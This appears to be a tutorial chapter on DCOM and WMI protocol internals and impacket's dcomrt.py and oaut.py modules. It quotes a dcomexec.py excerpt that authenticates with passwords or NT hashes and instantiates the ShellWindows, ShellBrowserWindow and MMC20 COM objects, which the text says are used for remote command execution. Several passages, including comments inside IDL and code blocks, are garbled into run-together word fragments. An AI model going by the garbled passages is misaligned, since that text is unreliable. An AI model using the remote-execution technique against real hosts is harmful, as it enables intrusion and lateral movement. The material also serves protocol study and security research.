Skip to content

Part IV DCOM & WMI

Chapter 6 DCOM and WMI

6.1 DCOM Programming Basics

RPC is an inter-process communication protocol: it lets a program running on one machine call a subroutine in another address space (typically another machine on a shared network) as if it were a local call. DCOM is remote COM object invocation on top of that.

DCOM protocol stack

DCOM protocol overview

Object RPC call and PDU body request

Object RPC call and PDU body response

First, some keywords of DCOM programming.

  • activation: in the DCOM protocol, the mechanism by which a client supplies the CLSID of an object class and obtains an object from that class, or from a class factory able to create such objects
  • CID: every ORPC call carries one in the ORPCTHIS structure. A new ORPC call that continues an existing causality reuses that causality's CID; a call that starts a new causality gets a fresh CID. CIDs (causality identifiers) prevent deadlocks in ORPC calls.
  • class factory: an object whose purpose is to create objects from a specific object class
  • CLSID: the identifier of a DCOM/COM object class; the common CLSIDs below are exactly the static constants at the top of dcomrt.py
Name GUID Purpose Section
CLSID_ActivationContextInfo {000001a5-0000-0000-c000-000000000046} Activation property CLSID of ActivationContextInfoData 2.2.22.2.5
CLSID_ActivationPropertiesIn {00000338-0000-0000-c000-000000000046} OBJREF_CUSTOM unmarshaler CLSID of ActivationPropertiesIn 3.1.2.5.2.3.23.1.2.5.2.3.3
CLSID_ActivationPropertiesOut {00000339-0000-0000-c000-000000000046} OBJREF_CUSTOM unmarshaler CLSID of ActivationPropertiesOut 3.1.2.5.2.3.23.1.2.5.2.3.3
CLSID_CONTEXT_EXTENSION {00000334-0000-0000-c000-000000000046} ORPC_EXTENT identifier of the context (2) ORPC extension 2.2.21.4
CLSID_ContextMarshaler {0000033b-0000-0000-c000-000000000046} OBJREF_CUSTOM unmarshaler CLSID of context (2) 2.2.20
CLSID_ERROR_EXTENSION {0000031c-0000-0000-c000-000000000046} ORPC_EXTENT identifier of the error-information ORPC extension 2.2.21.1
CLSID_ErrorObject {0000031b-0000-0000-c000-000000000046} OBJREF_CUSTOM unmarshaler CLSID for error information 2.2.21.2
CLSID_InstanceInfo {000001ad-0000-0000-c000-000000000046} Activation property CLSID of InstanceInfoData 2.2.22.2.3
CLSID_InstantiationInfo {000001ab-0000-0000-c000-000000000046} Activation property CLSID of InstantiationInfoData 2.2.22.2.1
CLSID_PropsOutInfo {00000339-0000-0000-c000-000000000046} Activation property CLSID of PropsOutInfo 2.2.22.2.9
CLSID_ScmReplyInfo {000001b6-0000-0000-c000-000000000046} Activation property CLSID of ScmReplyInfoData 2.2.22.2.8
CLSID_ScmRequestInfo {000001aa-0000-0000-c000-000000000046} Activation property CLSID of ScmRequestInfoData 2.2.22.2.4
CLSID_SecurityInfo {000001a6-0000-0000-c000-000000000046} Activation property CLSID of SecurityInfoData 2.2.22.2.7
CLSID_ServerLocationInfo {000001a4-0000-0000-c000-000000000046} Activation property CLSID of LocationInfoData 2.2.22.2.6
CLSID_SpecialSystemProperties {000001b9-0000-0000-c000-000000000046} Activation property CLSID of SpecialPropertiesData 2.2.22.2.2
IID_IActivation {4d9f4ab8-7d1c-11cf-861e-0020af6e7c57} RPC interface UUID of IActivation 3.1.2.5.2.1
IID_IActivationPropertiesIn {000001A2-0000-0000-C000-000000000046} Value of the iid field of the pActProperties OBJREF 3.1.2.5.2.3.23.1.2.5.2.3.3
IID_IActivationPropertiesOut {000001A3-0000-0000-C000-000000000046} Value of the iid field of the ppActProperties OBJREF 3.1.2.5.2.3.23.1.2.5.2.3.3
IID_IContext {000001c0-0000-0000-C000-000000000046} Value of the iid field of the context structure. 2.2.20
IID_IObjectExporter {99fcfec4-5260-101b-bbcb-00aa0021347a} RPC interface UUID of IObjectExporter 3.1.2.5.1
IID_IRemoteSCMActivator {000001A0-0000-0000-C000-000000000046} RPC interface UUID of IRemoteSCMActivator 3.1.2.5.2.2
IID_IRemUnknown {00000131-0000-0000-C000-000000000046} RPC interface UUID of IRemUnknown 3.1.1.5.6
IID_IRemUnknown2 {00000143-0000-0000-C000-000000000046} RPC interface UUID of IRemUnknown2 3.1.1.5.7.1
IID_IUnknown {00000000-0000-0000-C000-000000000046} RPC interface UUID of IUnknown 3.1.1.5.8
  • COM: an object-oriented programming model defining how objects interact within a process or across processes; in COM, clients access objects through interfaces implemented on the objects

For conceptual grounding in COM programming, see Lingjian's answer on Zhihu and a COM programming primer.

https://www.zhihu.com/question/49433640/answer/115952604

https://blog.51cto.com/u_15075510/3505281

In short: COM is a specification, not an implementation. Implemented in C++, a COM component is a C++ class implementing the corresponding COM interfaces, while a COM interface is a pure virtual (abstract) class deriving from IUnknown. The COM specification requires every component or interface to derive from IUnknown. IUnknown defines three important functions: QueryInterface, AddRef and Release — QueryInterface queries interfaces on the component object, AddRef increments and Release decrements the reference count. Reference counting is a cornerstone of COM, elegantly solving the object-lifecycle question (when a component is destroyed and by whom). The specification also requires every component to have a corresponding class factory — itself a COM component implementing IClassFactory; only inside IClassFactory::CreateInstance may new instantiate the component class.

COMgroup

+ COMgroup
COMgroupIUnknown

+ COMgroup
 COM groupcan COM

+ COMgroup
comgroup

+ COMgroup
COMgroupregsvr32registry
DllGetClassObjectused for
DllCanUnloadNowcanCOMgroup
DllRegisterServerCOMgroupregistry
DllUnregisterServerdeletesregistryCOMgroupinformation
DLL entryDllMainused forreleases
DllMainDLL entryinLoadLibraryFreeLibrary
regsvr32 ComTest_Server.dll
COM group COM CoCreateInstance CLSID obtains COM groupobjectreturns IID_IUnknown QueryInterface IID obtainsmethodQueryInterface OUT returnstheobject
CoInitialize(NULL); // COM
// ...
IUnknown *pUnk = NULL;
IObject *pObj = NULL;
// groupobjectCLSID_XXX as COM group GUIDclass idreturns IID_IUnknown
HRESULT hr = CoCreateInstance(CLSID_XXX, NULL, CLSCTX_INPROC_SERVER, NULL, IID_IUnknown, (void **)&pUnk);
if (S_OK == hr)
{
 // obtainsIID_XXX asgroup GUIDinterface id
    hr = pUnk->QueryInterface(IID_XXX, (void **)&pObj);
    if (S_OK == hr)
    {
 // method
        pObj->DoXXX();
    }
 // releasesgroupobject
    pUnk->Release();
}
// ...
// releases COM
CoUninitialize();
DCOM
object
 MIDL
 MIDL C++ group
in COM objector

thenIUnknown::QueryInterfacemethod
thenIUnknown::AddRefIUnknown::Releasemethod
method

or
CreateInstanceLockServermethod
ifIDispatch
ifor
  • context: properties of an execution environment, or an association representing resources with a set of messages exchanged between client and server
  • context identifier: the GUID identifying a context
  • Dynamic endpoint: a network-specific server address requested and assigned at run time
  • endpoint: the network-specific address of an RPC server process used for remote procedure calls. The actual name and type depend on the RPC protocol sequence in use — e.g. for RPC over TCP (ncacn_ip_tcp) the endpoint may be TCP port 1025; for RPC over SMB (ncacn_np), the name of a named pipe
  • SPN: the name a client uses to identify a service for mutual authentication. An SPN has two or three slash-separated parts: service class, host name and (optionally) service name. For example "ldap/dc-01.fabrikam.com/fabrikam.com" is a three-part SPN — "ldap" is the service class, "dc-01.fabrikam.com" the host name, "fabrikam.com" the service name.
  • envoy context: the context marshaled back to the client as a result of obtaining an object reference
  • interface: the specification in a COM server describing how a class's methods are accessed
  • IDL: Interface Definition Language, the syntax describing interfaces
  • IID: the GUID identifying an interface
  • object: in the [DCOM] protocol, an entity implementing one or more Object Remote Protocol (ORPC) interfaces, uniquely identified within an object exporter's scope by an object identifier (OID)
  • IRemUnknown interface: an ORPC interface with methods to invoke QueryInterface, AddRef and Release on remote objects.
  • IRemUnknown2 interface: an ORPC interface extending IRemUnknown.
  • object exporter: the container of objects. Every object exporter instance must create an IPID entry for its IRemUnknown interface — and, if at COMVERSION 5.6 or higher, for IRemUnknown2 as well. It must create the IPID entries as follows:
  • allocate an IPID and set it in the IPID entry.
  • set the entry's IID to the IID of IRemUnknown or IRemUnknown2.
  • instruct RPC to listen on IRemUnknown or IRemUnknown2, as specified in [C706] section 3.1.20 (rpc_server_register_if).
  • set the entry's object pointer to the exporter's object implementing IRemUnknown / IRemUnknown2.
  • set the entry's OID and OXID to the values obtained from the resolver.
  • add the IPID entry to the IPID table.
  • object class: in the DCOM protocol, a class of objects identified by a CLSID whose members are obtained via activation. An object class is usually associated with a set of common interfaces implemented by all its objects
inCOMcontainingmethodobjectorCOMobjectCOMobject
  • object exporter ID (OXID): a 64-bit number uniquely identifying an object exporter within an object server
  • OXID resolution: the process of obtaining the RPC binding information needed to communicate with an object exporter. The object resolver service implements the following RPC interfaces:
  • IObjectExporter methods.
  • IActivation: methods for creating objects and class factories.
  • IRemoteSCMActivator: further methods for creating objects and class factories.
  • object identifier (OID): the unique 64-bit number identifying an object

On the Internet or intranet, ORPC still uses standard RPC packets, with DCOM-specific additions — the interface pointer identifier (IPID), version information and extensions — carried as extra call/return parameters; the IPID identifies a specific interface of a specific object on the remote machine handling the call. DCOM clients must periodically ping remote objects to keep the connection alive.

  • IPID (interface pointer identifier) table:

An IPID identifies one specific interface (interface pointer) on one specific object instance within one process.

A table of object interface entries keyed by IPID. Each entry must contain:

  • the interface's IPID.
  • the interface's IID.
  • the object's OID.
  • the object exporter's OXID.
  • the public reference count of the object reference.
  • the private reference count of the object reference.

  • OXID table: entries for the object exporters known to the client, keyed by OXID. Each entry must contain:

  • the object exporter's OXID.

  • the object exporter's RPC binding information.
  • the IPID of the object exporter's IRemUnknown interface.
  • the object exporter's authentication-level hint.

  • OID table: entries for objects known to the client, keyed by OID. Each entry must contain:

  • the object's OID.

  • the list of IPIDs of the object's interfaces.
  • the object exporter's OXID.
  • the implementation-defined hash of the STRINGBINDING of the saResAddr field contained in the STDOBJREF.
  • a Boolean garbage-collection flag that must be True if the object participates in ping; see the SORF_NOPING flag in section 2.2.18.2.

  • Resolver table: entries for object resolvers known to the client, keyed by STRINGBINDING hash. Each entry must contain:

  • a STRINGBINDING hash.

  • the object resolver's DUALSTRINGARRAY.
  • the SETID containing the object resolver's ping set identifier.
  • the object resolver's RPC binding information.

  • SETID table: entries for ping sets referenced by the client, keyed by SETID. Each entry must contain:

  • the ping set's SETID.

  • the list of OIDs in the ping set.
  • a sequence number

  • Object reference: in the DCOM protocol, a reference to an object, represented on the wire as an OBJREF. It allows the object to be reached by entities outside the object's own object exporter.

  • OBJREF: the marshaled form of an object reference.

onobjectobjectgrouponclienton flagobjectIIDobjectinformation OBJREF clientclientobjectgroup OBJREF containingininformation OXIDOXID client OBJREF COM groupasclientinonmethodstubserverobject

The structure of OBJREF

  • OXID resolution:
  • It stores the RPC string bindings needed to connect to remote objects and hands them to local clients.
  • It sends ping messages to remote objects for which the local machine still holds client references, and receives pings for objects running on the local machine. This duty of the OXID resolver underpins COM garbage collection.

6.2 dcomrt.py — DCOM Runtime (DCOMConnection / INTERFACE / IActivation)

With the groundwork laid, on to the dcomrt module: the file opens with the CLSID constants of common DCOM classes and the error-handling functions, followed by the data structures and flag values used in DCOM communication (the ORPC protocol).

Next come the context handle class and the DCOM protocol version class:

class handle_t(NDRSTRUCT):
    ......
class COMVERSION(NDRSTRUCT):
    .....
class PCOMVERSION(NDRPOINTER):
    .....

Then the structures for binary large objects (BLOBs), data encoding, activation, OXID resolution and remote-object creation:

class ORPC_EXTENT(NDRSTRUCT):
    ....
class BYTE_ARRAY(NDRUniConformantArray):
    ....
class OBJREF(NDRSTRUCT):
    ....

Then the DCOM connection class, with which you establish the DCOM connection, create remote objects, and ping the server:

class DCOMConnection:
    """
    This class represents a DCOM Connection. It is in charge of establishing the 
    DCE connection against the portmap, and then launch a thread that will be 
    pinging the objects created against the target.
    In theory, there should be a single instance of this class for every target
    """
    PINGTIMER = None
    OID_ADD = {}
    OID_DEL = {}
    OID_SET = {}
    PORTMAPS = {}

    def __init__(self, target, username='', password='', domain='', lmhash='', nthash='', aesKey='', TGT=None, TGS=None,
                 authLevel=RPC_C_AUTHN_LEVEL_PKT_PRIVACY, oxidResolver=False, doKerberos=False, kdcHost=None):
        self.__target = target
        self.__userName = username
        self.__password = password
        self.__domain = domain
        self.__lmhash = lmhash
        self.__nthash = nthash
        self.__aesKey = aesKey
        self.__TGT    = TGT
        self.__TGS    = TGS
        self.__authLevel = authLevel
        self.__portmap = None
        self.__oxidResolver = oxidResolver
        self.__doKerberos = doKerberos
        self.__kdcHost = kdcHost
        self.initConnection()
        .....
def pingServer(cls):
    ......
def CoCreateInstanceEx(self, clsid, iid):
    ......

The ORPCTHIS instance class.

The ORPCTHIS structure is the first (implicit) parameter sent in ORPC request PDUs, used to carry ORPC extension data to the server; it is also sent as an explicit parameter in activation RPC requests.

 typedef struct tagORPCTHIS {
   COMVERSION version;
   unsigned long flags;
   unsigned long reserved1;
   CID cid;
   [unique] ORPC_EXTENT_ARRAY* extensions;
 } ORPCTHIS;

ORPCTHIS is mainly used to build the RPC activation request:

classInstance = CLASS_INSTANCE(ORPCthis, stringBindings)
        return IRemUnknown2(INTERFACE(classInstance, b''.join(resp['ppInterfaceData'][0]['abData']), ipidRemUnknown,target=self.__portmap.get_rpc_transport().getRemoteHost()))

The INTERFACE class.

Initializes the parameters required for interface communication:

  if interfaceInstance is not None:
            self.__target = interfaceInstance.get_target()
            self.__iPid = interfaceInstance.get_iPid()
            self.__oid  = interfaceInstance.get_oid()
            self.__oxid = interfaceInstance.get_oxid()
            self.__cinstance = interfaceInstance.get_cinstance()
            self.__objRef = interfaceInstance.get_objRef()
            self.__ipidRemUnknown = interfaceInstance.get_ipidRemUnknown()

The process_interface function handles the marshaled form of the object-reference packet.

The connect function's logic:

  • If connection information is already stored, it reuses the current thread's connection for that target/OXID and binds the remote RPC interface for the requested iid via alter_ctx;
  • If no oxid connection exists, it parses the binding address, binds the interface through the DCERPC factory class to establish a TCP connection, sets the credentials and Kerberos information, and stores the connection.
 def connect(self, iid = None):
        if (self.__target in INTERFACE.CONNECTIONS) is True:
            if current_thread().name in INTERFACE.CONNECTIONS[self.__target] and \
                            (self.__oxid in INTERFACE.CONNECTIONS[self.__target][current_thread().name]) is True:
                dce = INTERFACE.CONNECTIONS[self.__target][current_thread().name][self.__oxid]['dce']
                currentBinding = INTERFACE.CONNECTIONS[self.__target][current_thread().name][self.__oxid]['currentBinding']
                if currentBinding == iid:
                    # We don't need to alter_ctx
                    pass
                else:
                    newDce = dce.alter_ctx(iid)
                    INTERFACE.CONNECTIONS[self.__target][current_thread().name][self.__oxid]['dce'] = newDce
                    INTERFACE.CONNECTIONS[self.__target][current_thread().name][self.__oxid]['currentBinding'] = iid
            else:
                stringBindings = self.get_cinstance().get_string_bindings()
                # No OXID present, we should create a new connection and store it
                stringBinding = None
                isTargetFQDN = self.is_fqdn()
                .....
                .....
                if binding.upper().find(self.get_target().upper()) >= 0:
                stringBinding = 'ncacn_ip_tcp:' + strBinding['aNetworkAddr'][:-1]                         .....

The IRemUnknown remote-unknown interface class.

Implements three methods: RemQueryInterface (query interfaces by IPID), RemAddRef and RemRelease.

The IObjectExporter class.

Implements the ObjectExporter — resolving OXID, pinging and checking ServerAlive:

def ResolveOxid(self, pOxid, arRequestedProtseqs):
    ....
def SimplePing(self, setId):
    ....
def ServerAlive(self):
    ....

The IActivation activation class.

IActivation is the RPC interface (not a COM interface; older literature calls it IRemoteActivation) exposed by the Service Control Manager (SCM). The SCM runs on every machine as RPCSS.EXE. IActivation has a single method, RemoteActivation:

 error_status_t RemoteActivation(
   [in] handle_t hRpc,
   [in] ORPCTHIS* ORPCthis,
   [out] ORPCTHAT* ORPCthat,
   [in] GUID* Clsid,
   [in, string, unique] wchar_t* pwszObjectName,
   [in, unique] MInterfacePointer* pObjectStorage,
   [in] DWORD ClientImpLevel,
   [in] DWORD Mode,
   [in, range(1, MAX_REQUESTED_INTERFACES)] 
     DWORD Interfaces,
   [in, unique, size_is(Interfaces)] 
     IID* pIIDs,
   [in, range(0, MAX_REQUESTED_PROTSEQS)] 
     unsigned short cRequestedProtseqs,
   [in, size_is(cRequestedProtseqs)] 
     unsigned short aRequestedProtseqs[],
   [out] OXID* pOxid,
   [out] DUALSTRINGARRAY** ppdsaOxidBindings,
   [out] IPID* pipidRemUnknown,
   [out] DWORD* pAuthnHint,
   [out] COMVERSION* pServerVersion,
   [out] HRESULT* phr,
   [out, size_is(Interfaces), disable_consistency_check] 
     MInterfacePointer** ppInterfaceData,
   [out, size_is(Interfaces), disable_consistency_check] 
     HRESULT* pResults
 );

It is designed to activate COM objects on remote machines — a very powerful capability that plain RPC does not provide. Through it, the SCM on one machine contacts the SCM on another and asks it to activate an object: the client machine's SCM calls the server SCM's IRemoteActivation::RemoteActivation, asking it to activate the object identified by the CLSID (the method's fourth parameter). RemoteActivation returns a marshaled interface pointer to the activated object plus two special values: the interface pointer identifier (IPID) and the object exporter identifier (OXID). Every supported network protocol has a well-known SCM port, each identifying a virtual communication channel based on that protocol. Classic DCOM texts record port 1066 for TCP/UDP and \pipe\mypipe for named pipes; on modern Windows, RPC endpoints are actually resolved dynamically by the endpoint mapper (TCP 135). The protocols commonly used by the SCM follow.

Constant/value Description
ncacn_nb_tcpConnection-oriented NetBIOS over Transmission Control Protocol (TCP) Client only: MS-DOS, Windows 3.x Client and Server: Windows Server 2003, Windows XP, Windows 2000, Windows NT
ncacn_nb_ipxConnection-oriented NetBIOS over Internet Packet Exchange (IPX) Client only: MS-DOS, Windows 3.x Client and Server: Windows Server 2003, Windows XP, Windows 2000, Windows NT
ncacn_nb_nbConnection-oriented NetBIOS Enhanced User Interface (NetBEUI) Client only: MS-DOS, Windows 3.x Client and Server: Windows Server 2003, Windows XP, Windows 2000, Windows NT, Windows Me, Windows 98, Windows 95
ncacn_ip_tcpConnection-oriented Transmission Control Protocol/Internet Protocol (TCP/IP) Client only: MS-DOS, Windows 3.x, and Apple Macintosh Client and Server: Windows Server 2003, Windows XP, Windows 2000, Windows NT, Windows Me, Windows 98, Windows 95
ncacn_npConnection-oriented named pipes Client only: MS-DOS, Windows 3.x, Windows 95 Client and Server: Windows Server 2003, Windows XP, Windows 2000, Windows NT
ncacn_spxConnection-oriented Sequenced Packet Exchange (SPX) Client only: MS-DOS, Windows 3.x Client and Server: Windows Server 2003, Windows XP, Windows 2000, Windows NT, Windows Me, Windows 98, Windows 95
ncacn_dnet_nspConnection-oriented DECnet transport Client only: MS-DOS, Windows 3.x
ncacn_at_dspConnection-oriented AppleTalk DSP Client: Apple Macintosh Server: Windows Server 2003, Windows XP, Windows 2000, Windows NT
ncacn_vns_sppConnection-oriented Vines scalable parallel processing (SPP) transport Client only: MS-DOS, Windows 3.x Client and Server: Windows Server 2003, Windows XP, Windows 2000, Windows NT
ncadg_ip_udpDatagram (connectionless) User Datagram Protocol/Internet Protocol (UDP/IP) Client only: MS-DOS, Windows 3.x Client and Server: Windows Server 2003, Windows XP, Windows 2000, Windows NT
ncadg_ipxDatagram (connectionless) IPX Client only: MS-DOS, Windows 3.x Client and Server: Windows Server 2003, Windows XP, Windows 2000, Windows NT
ncadg_mqDatagram (connectionless) over the Microsoft Message Queue Server (MSMQ) Client only: Windows Me/98/95 Client and Server: Windows Server 2003, Windows XP, Windows 2000, Windows NT Server 4.0 with SP3 and later
ncacn_httpConnection-oriented TCP/IP using Microsoft Internet Information Server as HTTP proxy Client only: Windows Me/98/95 Client and Server: Windows Server 2003, Windows XP, Windows 2000
ncalrpcLocal procedure call Client and Server: Windows Server 2003, Windows XP, Windows 2000, Windows NT, Windows Me, Windows 98, Windows 95

The function's implementation and parameters:

    def RemoteActivation(self, clsId, iid):
        # Only supports one interface at a time
        self.__portmap.bind(IID_IActivation)
 ORPCthis = ORPCTHIS() # ORPCthismustas null
        ORPCthis['cid'] = generate()
        ORPCthis['extensions'] = NULL
        ORPCthis['flags'] = 1

        request = RemoteActivation()
 request['Clsid'] = clsId # specifiedobject CLSID
 request['pwszObjectName'] = NULL # used forobject
 request['pObjectStorage'] = NULL # used forobject objref
 request['ClientImpLevel'] = 2 # theinis
 request['Mode'] = 0 # as 0xFFFFFFFFthenas 0
 request['Interfaces'] = 1 # pIID

        _iid = IID()
        _iid['Data'] = iid

 request['pIIDs'].append(_iid) # objecton id group
 request['cRequestedProtseqs'] = 1 # aRequestedProtseqs mustin 1 MAX_REQUESTED_PROTSEQS
 request['aRequestedProtseqs'].append(7) # client RPC

        resp = self.__portmap.request(request)

        # Now let's parse the answer and build an Interface instance

 ipidRemUnknown = resp['pipidRemUnknown'] # object output IRemUnknown IPID

 Oxids = b''.join(pack('<H', x) for x in resp['ppdsaOxidBindings']['aStringArray']) # object exporter OXID
        strBindings = Oxids[:resp['ppdsaOxidBindings']['wSecurityOffset']*2]
        securityBindings = Oxids[resp['ppdsaOxidBindings']['wSecurityOffset']*2:]

        done = False
        stringBindings = list()
        while not done:
            if strBindings[0:1] == b'\x00' and strBindings[1:2] == b'\x00':
                done = True
            else:
 binding = STRINGBINDING(strBindings) # object outputwithnotas NULLcontaining
                stringBindings.append(binding)
                strBindings = strBindings[len(binding):]

        done = False
        while not done:
            if len(securityBindings) < 2:
                done = True
            elif securityBindings[0:1] == b'\x00' and securityBindings[1:2 ]== b'\x00':
                done = True
            else:
                secBinding = SECURITYBINDING(securityBindings)
                securityBindings = securityBindings[len(secBinding):]

        classInstance = CLASS_INSTANCE(ORPCthis, stringBindings)
        return IRemUnknown2(INTERFACE(classInstance, b''.join(resp['ppInterfaceData'][0]['abData']), ipidRemUnknown,
                                      target=self.__portmap.get_rpc_transport().getRemoteHost()))

The IRemoteSCMActivator remote-SCM activation class.

Implements RemoteGetClassObject and RemoteCreateInstance.

Clients use RemoteGetClassObject (Opnum 3) to create an object reference to a class factory object.

 HRESULT RemoteGetClassObject(
   [in] handle_t rpc,
   [in] ORPCTHIS* orpcthis,
   [out] ORPCTHAT* orpcthat,
   [in, unique] MInterfacePointer* pActProperties,
   [out] MInterfacePointer** ppActProperties
 );

Clients use RemoteCreateInstance (Opnum 4) to create an object reference to an actual object.

 HRESULT RemoteCreateInstance(
   [in] handle_t rpc,
   [in] ORPCTHIS* orpcthis,
   [out] ORPCTHAT* orpcthat,
   [in, unique] MInterfacePointer* pUnkOuter,
   [in, unique] MInterfacePointer* pActProperties,
   [out] MInterfacePointer** ppActProperties
 );

MInterfacePointer is an NDR encapsulated structure:

 typedef struct tagMInterfacePointer {
   unsigned long ulCntData;
   [size_is(ulCntData)] byte abData[];
 } MInterfacePointer;

ulCntData: must specify the size of abData in bytes.

Because impacket's WMI functionality rides on DCOM, dcomrt is used mainly to establish the DCOM connection in wmiquery, wmiexec and dcomexec.

Afterwards COM components such as ShellWindows / ShellBrowserWindow are invoked for command execution and shells:

# eg.examples/dcomexec.py
from impacket.dcerpc.v5.dcomrt import DCOMConnection, COMVERSION
    .......
       dcom = DCOMConnection(addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash,
                              self.__aesKey, oxidResolver=True, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost)
        try:
            dispParams = DISPPARAMS(None, False)
            dispParams['rgvarg'] = NULL
            dispParams['rgdispidNamedArgs'] = NULL
            dispParams['cArgs'] = 0
            dispParams['cNamedArgs'] = 0

            if self.__dcomObject == 'ShellWindows':
                # ShellWindows CLSID (Windows 7, Windows 10, Windows Server 2012R2)
                iInterface = dcom.CoCreateInstanceEx(string_to_bin('9BA05972-F6A8-11CF-A442-00A0C90A8F39'), IID_IDispatch)
                iMMC = IDispatch(iInterface)
                resp = iMMC.GetIDsOfNames(('Item',))
                resp = iMMC.Invoke(resp[0], 0x409, DISPATCH_METHOD, dispParams, 0, [], [])
                iItem = IDispatch(self.getInterface(iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData']))
                resp = iItem.GetIDsOfNames(('Document',))
                resp = iItem.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], [])
                pQuit = None
            elif self.__dcomObject == 'ShellBrowserWindow':
                # ShellBrowserWindow CLSID (Windows 10, Windows Server 2012R2)
                iInterface = dcom.CoCreateInstanceEx(string_to_bin('C08AFD90-F2A1-11D1-8455-00A0C91F3880'), IID_IDispatch)
                iMMC = IDispatch(iInterface)
                resp = iMMC.GetIDsOfNames(('Document',))
                resp = iMMC.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], [])
                pQuit = iMMC.GetIDsOfNames(('Quit',))[0]
            elif self.__dcomObject == 'MMC20':
                iInterface = dcom.CoCreateInstanceEx(string_to_bin('49B2791A-B1AE-4C90-9B8E-E860BA07F889'), IID_IDispatch)
                iMMC = IDispatch(iInterface)
                resp = iMMC.GetIDsOfNames(('Document',))
                resp = iMMC.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], [])
                pQuit = iMMC.GetIDsOfNames(('Quit',))[0]
            else:
                logging.fatal('Invalid object %s' % self.__dcomObject)
                return

6.3 dcom submodules

6.3.1 [MS-OAUT] oaut.py

OLE Automation is part of Microsoft's OLE 2.0 architecture. With it, an application — whatever language it is written in — can expose properties and methods on OLE Automation objects, which other applications (e.g. SQL Server or Microsoft Exchange) can use to integrate those objects. The application exposing the properties and methods is the OLE Automation server (or object); the application accessing them is the OLE Automation controller. For example, MSSQL can enable OLE Automation Procedures via sp_configure and instantiate OLE Automation objects inside Transact-SQL batches. An OLE Automation server is a COM component (object) implementing the OLE IDispatch interface; the controller is a COM client communicating through IDispatch. COM is the foundation of OLE.

The core of OLE Automation is IDispatch; the call flow:

Generic automation call

IDispatch::GetIDsOfNames responds with the DISPID of the method you want to invoke; if you already know the id you can invoke directly:

Optimized automation call

Common interface ids follow:

Constant/Value Description
CLSID_RecordInfo{0000002F-0000-0000-C000-000000000046} OBJREF_CUSTOM unmarshaler CLSID of RecordInfoData (see section 2.2.31).
IID_IRecordInfo{0000002F-0000-0000-C000-000000000046} Value of the IID field of the pRecInfo OBJREF structure (see 2.2.28.2.1).
IID_IDispatch{00020400-0000-0000-C000-000000000046} The GUID associated with the IDispatch interface (see section 3.1).
IID_ITypeComp{00020403-0000-0000-C000-000000000046} GUID associated with the ITypeComp interface (see section 3.5).
IID_ITypeInfo{00020401-0000-0000-C000-000000000046} GUID associated with the ITypeInfo interface (see section 3.7).
IID_ITypeInfo2{00020412-0000-0000-C000-000000000046} GUID associated with the ITypeInfo2 interface (see section 3.9).
IID_ITypeLib{00020402-0000-0000-C000-000000000046} GUID associated with the ITypeLib interface (see section 3.11).
IID_ITypeLib2{00020411-0000-0000-C000-000000000046} GUID associated with the ITypeLib2 interface (see section 3.13).
IID_IUnknown{00000000-0000-0000-C000-000000000046} GUID associated with the IUnknown interface.
IID_IEnumVARIANT{00020404-0000-0000-C000-000000000046} GUID associated with the IEnumVARIANT interface (see section 3.3).
IID_NULL{00000000-0000-0000-0000-000000000000} GUID identifying the NULL value (as specified in [C706] section A1 nil UUID).

The methods implemented by the IDispatch class in the module:

GetTypeInfoCount serverinformation
GetTypeInfo serverinformation
GetIDsOfNames namemethodornamegroupnamegroupDISPIDsused forIDispatch::Invoke
Invoke servermethod


 HRESULT GetIDsOfNames(
   [in] REFIID riid,
 must IID_NULL
   [in, size_is(cNames)] LPOLESTR* rgszNames
 mustgroupgroupmustspecifiedservermethodornamemustcontainingspecifiedmethodorallnamemustnot
   [in, range(0,16384)] UINT cNames,
 mustnamemust 0 16384
   [in] LCID lcid,
 mustnamedomainsets ID
   [out, size_is(cNames)] DISPID* rgDispId
 mustserver DISPID group DISPID rgszNamesname
 ifsetsas 0thenthemethod
 ifsetsas 1 HRESULT DWORD withnotthen
 ifsetsas 1 HRESULT DWORD withthen
 );

  HRESULT Invoke(
 [in] DISPID dispIdMember,mustmethodorDISPID
 [in] REFIID riid,must IID_NULL
 [in] LCID lcid,mustserverdomainsets ID
 [in] DWORD dwFlags,mustspecifiedgroup
   [in] DISPPARAMS* pDispParams,
 must methodDISPPARAMSmustpDispParams->rgvarggroupByref mustinthisgroupas VT_EMPTY asinrgVarRef
 [out] VARIANT* pVarResult,paddingmethodor VARIANT
 [out] EXCEPINFO* pExcepInfo,ifthenotasreturnsas DISP_E_EXCEPTIONthenthemustserverpaddingthenmustasscode wCodespecified 0 mustin
 [out] UINT* pArgErr,ifthisnotasreturnsas DISP_E_TYPEMISMATCH or DISP_E_PARAMNOTFOUNDthenthismust pDispParams->rgvarg thenmustthe
 [in] UINT cVarRef,mustpDispParams byref
 [in, size_is(cVarRef)] UINT* rgVarRefIdx,mustcontaining cVarRef pDispParams->rgvarg as VT_EMPTY byref
 [in, out, size_is(cVarRef)] VARIANT* rgVarRef mustcontainingclientinsets byref andreturnsserversetsthisgroupmust byref ingroup
 );
Value Meaning
DISPATCH_METHOD 0x00000001 The member is invoked as a method.
DISPATCH_PROPERTYGET0x00000002 The member is retrieved as a property or data member.
DISPATCH_PROPERTYPUT0x00000004 The member is changed as a property or data member.
DISPATCH_PROPERTYPUTREF0x00000008 The member is changed by reference assignment rather than value assignment. Valid only when the property accepts a reference to an object.
DISPATCH_zeroVarResult0x00020000 Specifies that the client is not interested in the actual pVarResult [out] parameter. On return, pVarResult must point to a VT_EMPTY variant with all reserved fields zero.
DISPATCH_zeroExcepInfo0x00040000 Specifies that the client is not interested in the actual pExcepInfo [out] parameter. On return, pExcepInfo must point to an EXCEPINFO with all scalar fields zero and all BSTR fields NULL.
DISPATCH_zeroArgErr0x00080000 Specifies that the client is not interested in the actual pArgErr [out] parameter. On return, pArgErr must be set to 0.

The core methods are Invoke and GetIDsOfNames:

    def GetIDsOfNames(self, rgszNames, lcid = 0):
        request = IDispatch_GetIDsOfNames()
        request['riid'] = IID_NULL
        for name in rgszNames:
            tmpName = LPOLESTR()
            tmpName['Data'] = checkNullString(name)
            request['rgszNames'].append(tmpName)
        request['cNames'] = len(rgszNames)
        request['lcid'] = lcid
        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
        IDs = list()
        for id in resp['rgDispId']:
            IDs.append(id)

        return IDs

    def Invoke(self, dispIdMember, lcid, dwFlags, pDispParams, cVarRef, rgVarRefIdx, rgVarRef):
